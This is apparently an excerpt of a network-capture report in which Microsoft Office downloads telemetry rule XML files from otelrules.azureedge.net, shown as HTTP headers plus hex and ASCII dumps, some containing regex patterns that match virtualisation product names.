2024-11-28 12:10:26 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:25 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 63854d8c-901e-007b-2581-3fac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121025Z-174f7845968kdththC1EWRzvxn0000000ang00000000ab8v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:26 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:25 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:26 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:25 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6dbf519d-601e-0084-1b91-3f6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121025Z-174f78459684bddphC1EWRbht40000000y7g000000001byw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:26 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:25 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:26 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:25 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 5810e7a8-301e-0000-3f91-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121025Z-174f78459685m244hC1EWRgp2c0000000ybg0000000006ne x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:26 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:25 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:26 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:25 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: dce0685f-701e-001e-3f83-3ff5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121025Z-174f7845968zgtf6hC1EWRqd8s0000000r900000000098y5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:26 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:25 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:26 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:25 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 02827f85-001e-00ad-7091-3f554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121025Z-174f7845968kdththC1EWRzvxn0000000aw00000000003g3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:26 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:27 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:28 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 305230f7-c01e-00a1-7c4f-417e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121028Z-174f7845968swgbqhC1EWRmnb40000000yng000000002725 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:28 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:27 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:28 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 38fce8e5-e01e-0052-7679-40d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121028Z-174f78459685m244hC1EWRgp2c0000000y90000000004m52 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:28 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:28 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:28 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 7e595f47-c01e-0049-281b-41ac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121028Z-174f7845968glpgnhC1EWR7uec0000000ygg000000008aqb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:28 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:28 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:28 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 8abd9dd7-e01e-0099-194f-41da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121028Z-174f78459684bddphC1EWRbht40000000y50000000004tph x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:28 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:28 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:28 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: a2105f9f-201e-00aa-1591-3f3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121028Z-174f7845968glpgnhC1EWR7uec0000000ygg000000008aqd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:28 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:30 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:30 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 77f1aa82-301e-003f-6391-3f266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121030Z-174f78459685m244hC1EWRgp2c0000000y60000000007khn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:30 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:30 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:30 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 3d9c2adf-901e-00ac-7b91-3fb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121030Z-174f7845968frfdmhC1EWRxxbw0000000yh0000000002826 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:30 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:30 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
